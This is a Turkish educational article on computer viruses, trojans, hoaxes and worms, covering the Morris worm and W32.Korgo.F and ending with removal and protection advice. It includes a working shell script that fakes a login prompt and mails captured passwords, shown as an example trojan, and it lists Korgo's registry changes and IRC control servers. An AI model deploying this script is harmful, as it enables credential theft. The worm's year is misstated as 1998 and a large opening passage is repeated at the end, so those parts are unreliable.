Günümüzde tüm bilgisayar kullanıcılarının bir şekilde tanışmak zorunda olduğu, kimi zaman hiç farkında olmadan kullanıcının dosyalarına zarar veren kimi zaman ağa erişimini engelleyen kimi zaman da durup dururken bilgisayarının kapanmasına sebep olan kimliği belirsiz yazılımcıların hazırlamış olduğu programcıklar: VİRÜSLER. Bu yazımda virüs ve virüs olarak adlandırılmasa da benzer etkiler gösteren türevleri (Trojanlar, solucan veya kurtçuklar, HOAXlar) ve bunlardan korunma metodları hakkında bilgi vermeye çalışacağım. Konu virüs olunca takdir edersiniz ki bu kaynağı belirsiz yazılımlar hakkında derinlemesine analizler yapmak çok da kolay olmuyor. Kaldı ki günümüzün en popüler işletim sistemi ailesi Windows’a karşı geliştirilen saldırıların sayısı her geçen gün artmakta.
Dilerseniz işe bu programcıkların tanımlarını yapmakla başlayalım. RFC 1135’e göre virüs tanımı “İşletim sistemleri de dahil olmak üzere kendini bir taşıyıcıya yerleştirerek yayılan kod parçalarıdır.Tek başına çalışamaz.Aktif hale gelebilmesi için taşıyıcı programın çalıştırılması gereklidir” şeklindedir. Sınıflandıracak olursak:
Açılış "boot" sektörü virüsleri; Bu virüsler sabit disklerin açılış sektörüne yerleşir ve ancak bilgisayar açılınca etkinleşir.
Çok amaçlı virüsler; Bir çok virüsün en güçlü özelliklerine sahip olan bir virüstür. Bir dosyadan başka bir dosyaya bulaşmak için çok çeşitli yol ve teknik bilirler.
Genel amaçlı virüsler; Kolayca farklı dosya türlerine bulaşabilirler. Alt dosyalar yerine genel amaçlı sistem dosyalarına ve "boot" sektörüne yerleşirler.
Komut işleyici virüsler; İşletim sistemi dosyalarına bulaşırlar ve bu işletim sitemi dosyalarına girdikten sonra kolayca yayılırlar. Bu virüsler Command.com dosyasını hedef alırlar.
Makro virüsleri; Bu virüsler aslında Word veya Excelde bazı işleri otomatikleştirmek için yapılmıştır. Yapısı daha çok Visual Basic'e benzer ve işte bu özelliği farkeden hackerlar bu tür virüsleri oluşturmaya başlamışlardır.
Kütük tipi virüsler; .com, .exe, .bat gibi işletilebilir dosyalara bulaşarak yayılırlar. Bu virüslerden bazıları bellekte yerleşik olarak kaldığı gibi kalmayan tipleri de vardır. Bellekte yerleşen virüsler bulaştıkları dosyaların çalıştırılması ile belleğe yerleşerek diğer program dosyalarına bulaşırlar.
Bilgisayar Virüsleri Nasıl Bulaşır?
Çoğu zaman bu konuda ekstra bir çaba göstermemize gerek yok. Yine de bir kaçından bahsedelim: Virüsler, disket, cd, internet, e-posta gibi yolları kullanarak bilgisayara bulaşırlar. Boot sektör virüsü bulaşmış bir disketle bilgisayar açılırsa virüs harddisk'in boot sektörüne bulaşabilir. 2000'li yıllarda virüslerin en çok kullandığı yöntem ise e-posta yoludur. Bu yöntemde virüslü bilgisayar bazen kendi kendine kaydedilen e-posta adresine posta göndererek virüsün başka bilgisayarlara bulaşmasını sağlamaktadır.
E-posta ile yayılmaya çalışan virüsler eklentisini çalıştırmadığımız halde bulaşabilmekte. Bazı e-posta okuyucuları (Microsoft Outlook ve Outlook Express) belirli yapıdaki dosyaların kullanıcıdan onay almadan çalıştırılmasına neden olan güvenlik açıklarını içermektedir. Bu açıkların kapatılması için Microsoft firması güvenlik yamaları çıkarmaktadır. Güncellemasi yapılmamış MS Outlook ya da MS Outlook Express kullanıcıları yeni çıkan pek çok virüse karşı savunmasız kalmaktadır. Şunu da hemen belirtmeliyiz ki Microsoft Office 2003 suiti içerisinde yer alan Outlook 2003 ile birlikte bu açıkların büyük bir kısmı giderilmiştir. (Yiğidi öldür hakkını verJ)
Belki gereksiz ama acemi bir çok kullanıcının başına gelen GIF ya da JPEG gibi görünüp gerçekte virüs olan yapılar olabilir. Genelde iki uzantılı olan bu dosyaları ikinci uzantısı e-posta okuyucaları tarafından görüntülenmediği için sadece bir GIF ya da JPEG dosyası sanılıp çalıştırılmakta ve kullanıcını karşısına bir hata mesajı ya da belki bir resim çıkmakta ama arka planda virüs faaliyetlerine başlamış olmaktadır.
Program indirmediğiniz bir web sitesinden de virüs bulaşabilir. Ziyaret edilen web sitesinden indirilen, ActiveX için kullanılan *.dll dosyası ya da Java apletler üzerinden bilgisayara virüs bulaşabilmektedir. Eğer kullanılan web tarayıcı ayarlarında güvenlik ayarları orta ya da yüksek değilse web tarayıcı, bu dosyaları kullanıcı onayı olmadan indirmekte ve çalıştırmaktadır.
Virüsler bulaştığında;
Harddisk veya diskette bozuk sektör sayısında artma olabilir.
Bulaştığı programların boyutlarında artış olabilir.
Ram eksikliği olabilir ve bazı programlar Ram'i çok fazla kullanmaya çalışabilir.
Bazı programlar çökebilir, programlarda bazen yavaşlamalar bazen de kitlenmeler olabilir.
İlk 100.000'lere ulaşan virüs Pakistan'ın Lahor kentinde Faruk kardeşler tarafından programlanmış ve kısa sürede Amerika'ya ve Avrupa'ya sıçramıştır.
Bu tanımlamalarla birlikte şunu da hemen belirtmemiz gerekir ki her virüs her bilgisayarda aynı etkiyi göstermez. Bu etki, bilgisayarın kullandığı işletim sistemi, ilgili yamaları ve virüsün yazılımıyla ilgilidir. Kimi virüs yazılımları kullanıcının dosyalarına zarar vermeyi hedeflerken, kimileri sadece kendisini çoğaltıp sistemi çökertmek gibi bir amaç güderler. Örneğin sadece Windows’ların belli sürümlerini etkiliyen virüsler var. Bunun nedeni aslında sürüm değil, kullandıkları dosya sistemi. Dosya sistemi FAT32, Win9x/ME ve NTFS, WinNT/2000/XP/2003'de kullanılmaktadır. NTFS dosya sistemi diskin bazı bölgelerine belirlenen kullanıcılar dışında kimsenin ya da hiç bir programın yazmasına izin vermemektedir. Bu nedenle bazı virüsler sistem dosyalarına ya da kayıt dosyalarına bilgi girememekte, sadece Win9x/ME işletim sistemlerinde etkili olabilmektedirler. Şunu da hemen söylemeliyiz ki son zamanlarda geliştirilen virüslerin çok büyük bir kısmı Microsoft Windows’un güncel sürümlerine (Windows XP, Windows Server 2000, Windows Server 2003 gibi) bulaşmakta.
Bilgisayar Virüslerinin Temel Özellikleri;
".exe", ".com" gibi dosyalara bulaşırlar.
Virüsler kendini otomatik olarak kopyalar.
Bu programlar kullanıcı müdahalesine gerek kalmadan kendi kendine çalışacak şekilde sabit diske kaydeder.
Virüsün bulaştığı program kendi kendine yeni virüsler üretir.
Virüsler programların özelliklerini değiştirirler.
Çoğu kez görüldüğü kadarıyla virüsler bir programa sadece 1 kez bulaşırlar.
Virüsün bulaştığı program uzun süre normal çalışır.
Virüslerin bulaştıkları programlar önceden yaptığı şeylerin yanında virüsün istediği şeyleri de yapar.
Kullanıcı bilgisayarına ve sabit diskine zarar verirler.
Programlara bazı virüslere karşı bağışıklılık kazandırılabilinir.
Virüsler devamlılıkarını sağlamak için bazı önlemler alırlar. Bu önlemlerin başında da Anti-virüs programları tarafından fark edilmemek için bilgisayar sisteminde gözükmemeye çalışırlar. Çoğu virüsün tekniği iyi gizlenmektir. Bu yüzden virüs kodları çok kısa olur.Ayrıca virüs programları, kendilerini değiştirerek virüs arayan programlardan korunabilirler.
2000'li Yıllarda Yayılan Virüslerin Ortak Özellikleri;
Virüsler girdikleri sistemde göze çarpmamaya çalışırlar ve bu yüzden virüs yazarları kodları olduğunca kısa tutmak isterler. Virüsler bulaştıkları programlarda kendilerini belirlenen şartlardan sonra gösterirler. Virüsler kendilerini kendi kopyalarından korumak için bir işaret taşır ve kendi türünden virüs olmayan dosyalara kopyalanırlar.
Trojan (Truva atı)
Hollywood’un gündeme getirdiği Truva efsanesinin bizleri meşgul ettiği bir dönemde isimleri virüs olmasa da sonuçta zararlı yazılımlar olması nedeniyle benzer etkileri gösteren Trojan(Truva atı)’na da değinmezsek olmaz. Trojanlar, kullanıcısı dışında internet üzerinden başka birisinin işlem yaptırmasını sağlamak amaçlı arka kapılar açan programlardır. Bunlar, kullanıcı ya da e-posta tarayıcı tarafından çalıştırılmadıkları sürece zararsızdırlar. Ancak tam paylaşımlı klasörlerin içine konularak yanlışlıkla çalıştırılması sağlanmaya çalışılmakta maalesef. Örnek vermek gerekirse makinenize bulaştığı zaman size ait özel bilgileri başka e-posta adreslerine yollamaya başlar. Genelde internetten güvenilmez yerlerden çekilen başka programların yüklenmesi ile bulaşır.
Ünlü "Truva atı" terimi bilgisayar güvenlik alanında öncelikli zararsız uygulamaları belirtmek için kullanılır. Virüslerde sözü edildiği gibi yıkıcı kodlar mantıksal bombalar içerenlerdir.
Mantıksal bomba çeşitli etkilere sahip, kasıtlı olarak zarar veren program parçalarıdır.
Sistem kaynaklarına verilen yüksek boyutlu zarar (bellek, hard disk, CPU, vb. );
Dosyaların mümkün olduğunca hızlı yıkımı (kullanıcıların dosyaların içeriğini yeniden oluşturmalarını önleyerek dosyaları tekrar yazarlar);
Olabildiğince uzun bir zaman saklı kalarak dosyaların elaltından yıkılması;
Sistem güvenliğine saldırı (oldukça basit ulaşım haklarının uygulanması, şifre dosyalarının bir internet adresine gönderilmesi);
DDoS (Distributed Denial of Service) gibi terörün hesaplanması için kullanılması;
Disk üzerindeki uygulamaları ilgilendiren lisans numaralarının dökümlerinin çıkarılması ve bunların yazılım geliştiricisine gönderilmesi.
Bazı durumlarda mantıksal bomba gizli bilgilerinin çalınması için hedef gösterilmiş özel bir sistemin özel dosyalarını yıkmak ya da bir kullanıcının kimliğini ele geçirerek güvenini sarsmak amacıyla yazılabilir. Aynı bombayı başka bir sistem üzerinde çalıştırmak zararsız olabilir.
Mantıksal bomba içinde bulunduğu sistemi fiziksel olarak da yıkmaya çalışabilir. Bunun olasılığı oldukça azdır fakat bu türleri de bulunmaktadır. (CMOS bellek silinmesi, modemde anlık belleğin değiştirilmesi, yazıcıların, tarayıcıların ve hard diskin okuyucu kafalarındaki ayarlarına yapılan yıkıcı hareketler...)
Patlayıcılık özelliği ile devam edelim, sözgelimi bir mantıksal bomba harekete geçmek için tetiklenmeye ihtiyaç duysun. Aslına bakılacak olursa, trojanları veya virüsleri kullanarak hemen yıkıcı birtakım işlere girişmek verimli değildir. Mantıksal bombayı yerleştirdikten sonra bir süre beklemek daha akılcı bir yaklaşımdır. Böyle yapmakla, eğer bir virüs sözkonusu ise, başka sistemlere yayılma ihtimalini artırır; eğer sözkonusu bir trojan ise, kullanıcıların makinasında oluşan gariplikler için hemen yeni programdan şüphe duymasını engellersiniz.
Diğer zarar verici hareketler gibi, başlama mekanizması da bir çok farklılıklar gösterebilir: Yüklemeden sonra on gün bekleme, bir kullanıcı hesabının silinmesi, klavye ve farenin 30 dakika için etkisizleştirilmesi, yazıcı kuyruklarının aşırı dolması gibi. Ve daha bir çok ihtimal. En yaygın trojanlar bugünlerde çok basmakalıp olarak görünse de ekran koruyuculardır. Bu programlar çok çekici bir gürüntünün arkasında farkedilmeden bir çok zararlar verebilirler, özellikle mantıksal bomba yüklemeden yanlızca bir saat sonra harekete geçecekse. Bu süre içinde kullanıcı çok büyük olasılıkla bilgisayarının başında olmayacaktır.
Meşhur bir diğer truva atı ise aşağıda görülen ve bir kullanıcı giriş ortamı hazırlayan ve kullanıcı adı ve şifrelerini programı çalıştıran kişinin e-mail adresine gönderen küçük bir kabuk programıdır. Bu kabuk kullanılmayan bir konsolda çalışırsa o konsoldan giriş yapmaya çalışan kullanıcının şifresini öğrenir.
#! /bin/sh
clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
login: $login
passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout
Programın çalıştıktan sonra kapanması için exec komutu ile başlatılması gerekiyor. Kurban "Login incorrect" yazısını görünce şifresini yanlış girdiğini düşünecek ve normal yollarla bir daha sisteme girmeyi deneyecektir. Bu kabuğun daha gelişmiş sürümleri X11 tipi bağlantıları simule edebiliyor. Böyle tuzaklara düşmemek için, bir konsoldan giriş yapmadan önce yalancı bir kullanıcı adı ve şifre ile bir deneme yapmak akılcı bir yaklaşım olacaktır (Bu belli bir noktadan sonra refleks haline gelecektir).
HOAX nedir?
Tüm bunların yanında hiç bir yazılım becerisi gerektirmeyen ve e-mail inboxlarımızın vazgeçilmez misafirleri HOAX’lar var ki virüs denince bunlardan bahsetmemek olmaz. HOAX, genellikle dikkatsiz kullanıcıların inanması nedeniyle yayılan, işletim sisteminin kendi dosyası olmasına rağmen bir dosyanın virüslü olduğunu ve silinmesi gerektiğini söyleyen sahte virüs uyarıları içeren e-postalara verilen isimdir. Eğer bu tür bir e-postada anlatılan dosya silinirse, işletim sistemi düzgün çalışmamaya başlayabilir. Bu nedenle, HOAX zararlı olabilmektedir. Bu tür uyarı e-postaları alındığında HOAX olup olmadığı dikkatle araştırılmadan dosya silinmemesi gereklidir. Kısacası HOAX’lar ne virüstür ne trojan ne de birazdan bahsedeğim günümüz bilişim dünyasına çok fazla meşgul etmeye başlayan internet solucanı veya kurtçuk.
SOLUCANLAR(KURTÇUKLAR)
"Solucanlar"veya orjinal tabiriyle “worm”lar, virüsler ile aynı prensipten gelir. Kendilerini kopyalama yöntemi ile çoğalmayı hedeflerler. Kendi özellikleri olmamasına karşın, bunlar mantıksal bombalar taşıyabilirler. Virüsler ile solucanlar arasındaki en önemli fark, solucanların virüsler gibi bir yayılma aracı olarak programları kullanmaması, bunun yerine ağ içinde kullanılan elektronik ileti gibi servisleri yayılma aracı olarak kullanmalarıdır.
RFC 1135’e göre kurtçuk tanımı “Taşıyıcısının kaynaklarını kullanarak tek başına çalışabilen ve çalışan tam bir kopyasını başka makineler üzerinde de oluşturabilen programlardır” şeklindedir. Solucanların teknik seviyeleri biraz daha yüksektir; ağ servislerini sağlayan yazılımların açıklarını bularak kendilerini uzak makinaya kopyalarlar. En güzel örneği 1998 yılındaki "Internet Worm" adı verilen solucandır.
Internet Worm, mantıksal bomba içermeyen gerçek bir solucan olmakla birlikte, etkileri beklenmedik şekilde çok yıkıcı olmuştu.Kısaca anlatmak gerekirse bu program Cornell Üniversitesinde öğrenci olan Robert Morris Jr tarafından yazılmıştı. NSA'nın bir kolu olan NCSC kurumunda bilgisayar güvenliği ile sorumlu kişinin oğluydu. Program 1998 yılının Kasım ayının ikinci günü öğleden sonra hayat geçmişti ve Internet'e bağlı birçok sistemin durmasına yol açmıştı. Program bir kaç aşamada çalışmıştı:
Solucan bir bilgisayarı ele geçirildikten sonra, ağ içerisine sızmaya çalışıyordu. Adres bilgilerini almak için solucan sistem dosyalarını okuyor ve ağ bilgilerini öğrenmek için netstat benzeri programları kullanıyordu. Daha sonra, kullanıcı hesaplarını ele geçirmeye çalışıyordu. Bunu yapmak için ise bir sözlük içindeki kelimeler ile şifre dosyasını karşılaştırıyordu. Ayrıca şifreleri bulmak için, kullanıcı adının değişik varyasyonlarını deniyordu (tersi, tekrarı gibi). Bu aşama bir açık üstüne kuruluydu: Şifreler kodlanmış bir şekilde herkesin okumasına açık bir dosyada duruyordu (/etc/passwd), böylece çok basit seçilmiş şifreleri tahmin ediyordu. Bu ilk açık şifrelerin shadow adlı ayrı bir dosyada tutulmasıyla daha sonra kapatıldı.
Eğer program kullanıcı hesaplarına girmişse, doğrudan erişimi olan komşu bilgisayarlara ~/.rhost ve /etc/hosts.equiv dosyalarını kullanarak ulaşmaya çalışıyordu. Eger ulaşırsa rsh komutunu kullanarak komşu bilgisayarda komutlar işletiyordu. Böylelikle kendisini başka bir makinaya kopyalıyor ve döngü böyle sürüp gidiyordu. Yukarıdaki gibi açıklar bulamazsa, ikinci bir açık kullanılıyordu:fingerd 'buffer overflow' açığı.Bu açık uzak makinada program çalıştırma imkanı veriyordu. Böylece solucan kendisini yine başka bir makinaya kopyalıyordu. Aslında bu yöntem bazı işlemciler için geçerliydi.
Sonuncu olarak, üçüncü bir açık kullanılmıştı: sendmail adlı yazılımın bir özelliği kullanılıyordu. Bu özelliğin normalde kullanılmaması gerektiği halde sistem yöneticileri genellikle bunu ihmal ediyordu. Belirtmek gerekir ki, bu solucan uzak bir bilgisayara komutlar gönderme imkanı bulduktan sonra kendisini o makinaya kopyalama işlemi oldukça karmaşıktı. Küçük bir C programının ilk önce taşınması, orada derlenmesi ve çalıştırılması gerekiyordu. Daha sonra bu program iki bilgisayar arasında bağlantı kuruyor ve solucanın taşınmasını sağlıyordu. Solucanın önceden derlenmiş çalıştırılabilir dosyaları bir çok platfrom için vardı (Vax ve Sun) ve test edilmişti. Ayrıca, solucan iz bırakmadan kendisini çok zekice saklıyordu.
Ne yazık ki, bilgisayarların tekrar ve tekrar ele geçirilmesini engelleyen mekanizma beklendiği gibi iyi işlemedi ve mantıksal bomba taşımayan Internet 88 solucanı yıkıcı etkisi gösterdi. Bunda iş yükü ağır bilgisayarların da bu solucandan etkilenmesinin büyük payı oldu (özellikle elektronik ileti taşınmasını sağlayan ve haberleşmeyi sağlayan bilgisayarlar gibi).
Tabii bu belaya yol açan solucanın yazarının bir süre için hapishaneye girdiğini belirtmekte de fayda var.
Solucanlara, çok karmaşık oldukları için, genellikle sıkça rastlanmaz. Solucanlar ünlü "ILoveYou" benzeri elektronik iletiler ile gönderilen virüsler ile karıştırılmamalıdır. Bu virüsler genellikle Basic ile yazılmış ileti açılınca çalışan basit makrolardır. Bunlar sadece bazı işletim sistemlerinde ve ileti okuyucu programların çok basit bit şekilde ayarlandığı sistemlerde çalışırlar. Bu programlar Truva atlarına daha çok benzerler çünkü kullanıcının bunların başlayabilmesi için bir iş yapması gerekir.
Çoğu worm bulaştığı bilgisayarlarda benzer özellikler göstermesi nedeniyle bir örnek teşkil etmesi amacıyla aşağıda 2004 yılı Haziran ayı içerisinde türemiş olan W32.Korgo.F wormunun tipik özellikleri ve nasıl sisteminizden kaldırabileceğiniz ile ilgili bilgiler bulabilirsiniz:
W32.Korgo.F Özellikleri:
Diğer isimleri : Worm.Win32.Padobot.e [Kaspersky], W32/Korgo.worm.g [McAfee], WORM_KORGO.F [Trend]
Türevleri__ _: W32.Korgo.A, W32.Korgo.B, W32.Korgo.C, W32.Korgo.D, W32.Korgo.E
Büyüklüğü____ :10752 byte
Etkilenen sistemler : Windows 2000, Windows XP
Etkilenmeyen sistemler: DOS, Linux, Macintosh, Novell Netware, OS/2, UNIX, Windows 3.x, Windows 95, Windows 98, Windows Me, Windows NT
Yayılmak için sık kullandığı portlar: TCP 445, 113, 3067, ve 6667. Ayrıca diğer portlar.
Hedef açıklar_____ __: Microsoft LSASS yamasının yüklü olmadığı sistemler.
Teknik Detaylar_____: 1)Bulaştığı klasörden ftpupd.exe dosyasını siler. 2)Registry’den HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\Run altında bulunan aşağıdaki değerleri siler:
"System Service Manager"
"System Restore Service"
"Bot Loader"
"Windows Update Service"
"WinUpdate"
"Windows Security Manager"
"avserve.exe"
"avserve2.exe"
3)Daha sonra registry’den HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\Run altında “Disk Defragmenter” değerine bakar.Eğer yoksa, HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wireless altına "Client"="1" değerini ekler. Şayet bu değer mevcut ancak dosyanın yolu farklı ise, a)Kendisini Windows\System32 klasörünün altına (W2k için Winnt\System32) xxx.exe şeklinde kopyalar. (xxx=rastgele dosya ismi)
b) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run altına "Disk Defragmenter"="%System%\<xxx>.exe" değerini ekler.
c)xxx.exe yi başlatır ve process’i sonlandırır.
Şayet “Disk Defragmenter” değeri mevcut ve worm’un yolu ile eşleşiyorsa HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wireless dan “Client” değerini siler.
4)Bu adımda en can alıcı hamlesini gerçekleştirmeye çalışır. Kendisini “explorer.exe” altına bir “thread(iş parçaçığı)” olarak atmaya çalışır. Bunu gerçekleştirirse Task Manager’daki process listesinde bu worm’u etkin hale getiren process’i maalesef göremeyeceğiz.
Eğer bunu gerçekleştiremezse worm’u xxx(rastgele bir dosya ismi) olarak Task Manager’daki process listesinde görme şansımız var.
5)Ek bir takım thread’ler daha yaratmaya çalışır ve işine aşağıdaki şekilde devam eder: (Not:Tüm bu threadleri yaratırken bilgisayarın shut down veya reboot edilmesini engeller).
· 113, 3067 ve rastgele bir takım portları açar ve bu portlar vasıtasıyla iletişim kurulmaya çalışıldığında karşı bilgisayara kendisini kopyalar.
· Microsoft Security Bulletin MS04-011) de bahsedilen 445 nolu TCP portundaki LSASS açığından faydalanmak suretiyle wormun açmış olduğu portlardan birini kullanarak wormun bulaştığı başka bir bilgisayarla iletişime geçmeye çalışır.
· Aşağıdaki listede belirtilen IRC sunucuları ile 6667 nolu TCP portu üzerinden iletişime geçmeye çalışır ve geçtiğinde komutlar alır:
§ gaspode.zanet.org.za
§ lia.zanet.net
§ irc.tsk.ru
§ london.uk.eu.undernet.org
§ washington.dc.us.undernet.org
§ los-angeles.ca.us.undernet.org
§ brussels.be.eu.undernet.org
§ caen.fr.eu.undernet.org
§ flanders.be.eu.undernet.org
§ graz.at.eu.undernet.org
§ moscow-advocat.ru
§ gaz-prom.ru
Temizleme Yöntemleri: Sık görülen ve hızlı yayılan bir çok worm virüsü için olduğu gibi W.32.Korgo.F için de Symantec tarafından geliştirilmiş olan bir “removal tool ”u mevcut. Eğer bunu elde etme imkanımız yoksa aşağıdaki adımları izleyerek bu beladan kurtulabiliriz.Sonuçta “removal tool”un yaptığı iş de bunlardan farklı değil.
Her şeyden önce bu musibete sebep olan açığı Microsoft Security Bulletin MS04-011 de belirtildiği şekilde gerekli olan patch(yama) dosyasını yükleyerek kapatmalıyız.Daha sonra manuel temizleme işlemine başlayabiliriz:
1)Disable System Restore (Windows ME/XP)
Eğer virüs,worm veya trojanlarınızın yedeğinin alınmasını istemiyorsanız ,ki bunu isteyeceğinizi hiç sanmam, default olarak açık halde bulunan system restore özelliğini geçici olarak disable etmelisiniz.
2) Anti-virüs programınızın virüs tanımlamalarını güncelleyiniz.
Bu, zaten rutin olarak yapacağımız bir işlem olmalı. Böylelikle virüs, worm veya trojanlardan minimum sürede haberdar olmamız mümkün olacak. Tabii bunların tanımlanmaları için geçecek olan süreyi saymazsak.
3)Bilgisayarınızı safe veya VGA(NT 4.0 için) modda başlatınız.
4)Anti-virüs programı vasıtasıyla tüm harddiskinizi tarayıp virüs bulaşmış olan dosyalarınızı siliniz.
5)Gelelim registry’den gerekli değişikliklerin yapılmasına. Şunu hemen belirtmeliyiz ki bu değişiklikleri yapmadan önce registry’nin yedeğini almakta fayda var. Aksi takdirde veri kaybımız veya işletim sisteminin daha ciddi hasar görmesi ve bize gereksiz yere zaman kaybettirmesi söz konusu olabilir. Tabii bu işlemi sıklıkla tekrarladıysanız registry’nin yedeğinin alınması işlemini es geçebilirsiniz.
a)Start a tıklayıp oradan “Run” a gidiyoruz ve “regedit” yazıp “OK” e basıyoruz.
b) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Run altında bulunan "Disk Defragmenter"="%System%\<xxx>.exe" değerini siliyoruz.
c) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wireless altında bulunan "Client"="1" değerini de siliyoruz.
d) Artık registry’i kapatıp sistemimizi normal olarak başlatabiliriz.
Bilgisayarımızı Virüslere Karşı Nasıl Koruruz?
Buraya kadar virüslerden, trojanlardan, wormlardan bahsettik. “Bunlar nedir? Nasıl yayılır? Ne tür zararlar verirler?” . Bunların cevapları konusunda nispeten bilgi sahibi olduk diye düşünüyorum. Peki tüm bunlardan korunmak için neler yapmalıyız?
Ø Öncelikle işletim sistemimizin tüm güvenlik güncelleştirmeleri(service packler, patchler vs...) tamamlanmış olmalı. Hatta bu güncelleştirmelerden haberdar olmak ve bu konuda üzerimize düşen yükü azaltmak için Software Update Services’ı kurmakta fayda var. (Bkz. SUS Server Kurulum ve Konfigürasyonu makale 28.06.2004)
Ø Sisteme en azından bir adet anti-virüs programı yüklenmiş olmalı. Unutmayalım ki çoğu zaman bu programlar sistemimizde virüs olduğunu sadece haber verir. Bu uyarıyı almış olmak virüsün algılanıp sistemden kaldırıldığı anlamına gelmez. Bunun için virüsün türüne göre bir kaldırma yöntemi uygulamalıyız. Daha önce bu yöntemlerin bir kaçından bahsetmiştik.Anti-virüs yazılımları konusunda güvenlik ile ilgili çözümler üreten Symantec firmasının Norton ürünleri oldukça popüler. Yine McAfee yazılımlarının da hatrı sayılır bir pazar payı olduğunu söylemek gerekir. PCCillin, F-Prot, AVP de yine bu sektörde ismi geçen ürünler. Ayrıca ücretsiz kullanabileceğiniz bir takım anti-virüs parogramlarını internetten download edebilirsiniz ancak güncelleştirme konusunda garantisi yok. Hazır güncelleştirme demişken şunu da hemen belirtelim ki anti-virüs programını yüklemiş olmak virüslerden haberdar olmak için yeterli değil, aynı zamanda bunların yeni türemiş virüsleri algılayabilmeleri için güncelleştirmelerinin yapılması gerekmekte.
Ø Tanımadığınız adreslerden gelen veya uzantısını bilmediğiniz eklere sahip e-mailleri açmayınız veya scan ettikten sonra açınız. Buradaki kişisel yorumum bu e-maillerin kesinlikle açılmaması yönünde. Anti-virüs yazılımının güncellemesi yapılmış olsa dahi yeni çıkmış olan bir virüs türevini algılaması mümkün olmayabilir.
Ø Anti-virüs programı virüs alarmı verdiğinde bunun teknil özellikleri hakkında bilgi sahibi olup bilgisayarımızdan tamamen kaldırdığımıza emin olmalıyız. Örneğin registry’de bir değişiklik yapılacaksa bunu yapmadığımız takdirde bir sonraki açılışta bu virüs veya wormun tekrar türeyeceğini unutmayalım.
Ø İnternetten download edilen dosyalar konusunda dikkatli olunmalı. Trojanların en bilinen yayılma metodlarından birinin de Kazaa benzeri programlarla indirilen dosyaların içine yerleştirilmiş olması.
Ø Orjinal cdsinden yüklemediğiniz programları çalıştırırken dikkatli olunmalı.Mümkünse hiç kullanmamalı.
Ø Active-X saldırılarına karşı Internet Explorer’da gerekli önlemler alınmalı. En azından bu uygulamalar çalışmadan önce bizi uyaracak şekilde ayar yapılmalı.
Ø Bilinen portlar üzerinden gerçekleştirilen virüs ataklarına karşı bu portlar kapatılmalı
Dilerseniz işe bu programcıkların tanımlarını yapmakla başlayalım. RFC 1135’e göre virüs tanımı “İşletim sistemleri de dahil olmak üzere kendini bir taşıyıcıya yerleştirerek yayılan kod parçalarıdır.Tek başına çalışamaz.Aktif hale gelebilmesi için taşıyıcı programın çalıştırılması gereklidir” şeklindedir. Sınıflandıracak olursak:
Açılış "boot" sektörü virüsleri; Bu virüsler sabit disklerin açılış sektörüne yerleşir ve ancak bilgisayar açılınca etkinleşir.
Çok amaçlı virüsler; Bir çok virüsün en güçlü özelliklerine sahip olan bir virüstür. Bir dosyadan başka bir dosyaya bulaşmak için çok çeşitli yol ve teknik bilirler.
Genel amaçlı virüsler; Kolayca farklı dosya türlerine bulaşabilirler. Alt dosyalar yerine genel amaçlı sistem dosyalarına ve "boot" sektörüne yerleşirler.
Komut işleyici virüsler; İşletim sistemi dosyalarına bulaşırlar ve bu işletim sitemi dosyalarına girdikten sonra kolayca yayılırlar. Bu virüsler Command.com dosyasını hedef alırlar.
Makro virüsleri; Bu virüsler aslında Word veya Excelde bazı işleri otomatikleştirmek için yapılmıştır. Yapısı daha çok Visual Basic'e benzer ve işte bu özelliği farkeden hackerlar bu tür virüsleri oluşturmaya başlamışlardır.
Kütük tipi virüsler; .com, .exe, .bat gibi işletilebilir dosyalara bulaşarak yayılırlar. Bu virüslerden bazıları bellekte yerleşik olarak kaldığı gibi kalmayan tipleri de vardır. Bellekte yerleşen virüsler bulaştıkları dosyaların çalıştırılması ile belleğe yerleşerek diğer program dosyalarına bulaşırlar.
Bilgisayar Virüsleri Nasıl Bulaşır?
Çoğu zaman bu konuda ekstra bir çaba göstermemize gerek yok. Yine de bir kaçından bahsedelim: Virüsler, disket, cd, internet, e-posta gibi yolları kullanarak bilgisayara bulaşırlar. Boot sektör virüsü bulaşmış bir disketle bilgisayar açılırsa virüs harddisk'in boot sektörüne bulaşabilir. 2000'li yıllarda virüslerin en çok kullandığı yöntem ise e-posta yoludur. Bu yöntemde virüslü bilgisayar bazen kendi kendine kaydedilen e-posta adresine posta göndererek virüsün başka bilgisayarlara bulaşmasını sağlamaktadır.
E-posta ile yayılmaya çalışan virüsler eklentisini çalıştırmadığımız halde bulaşabilmekte. Bazı e-posta okuyucuları (Microsoft Outlook ve Outlook Express) belirli yapıdaki dosyaların kullanıcıdan onay almadan çalıştırılmasına neden olan güvenlik açıklarını içermektedir. Bu açıkların kapatılması için Microsoft firması güvenlik yamaları çıkarmaktadır. Güncellemasi yapılmamış MS Outlook ya da MS Outlook Express kullanıcıları yeni çıkan pek çok virüse karşı savunmasız kalmaktadır. Şunu da hemen belirtmeliyiz ki Microsoft Office 2003 suiti içerisinde yer alan Outlook 2003 ile birlikte bu açıkların büyük bir kısmı giderilmiştir. (Yiğidi öldür hakkını verJ)
Belki gereksiz ama acemi bir çok kullanıcının başına gelen GIF ya da JPEG gibi görünüp gerçekte virüs olan yapılar olabilir. Genelde iki uzantılı olan bu dosyaları ikinci uzantısı e-posta okuyucaları tarafından görüntülenmediği için sadece bir GIF ya da JPEG dosyası sanılıp çalıştırılmakta ve kullanıcını karşısına bir hata mesajı ya da belki bir resim çıkmakta ama arka planda virüs faaliyetlerine başlamış olmaktadır.
Program indirmediğiniz bir web sitesinden de virüs bulaşabilir. Ziyaret edilen web sitesinden indirilen, ActiveX için kullanılan *.dll dosyası ya da Java apletler üzerinden bilgisayara virüs bulaşabilmektedir. Eğer kullanılan web tarayıcı ayarlarında güvenlik ayarları orta ya da yüksek değilse web tarayıcı, bu dosyaları kullanıcı onayı olmadan indirmekte ve çalıştırmaktadır.
Virüsler bulaştığında;
Harddisk veya diskette bozuk sektör sayısında artma olabilir.
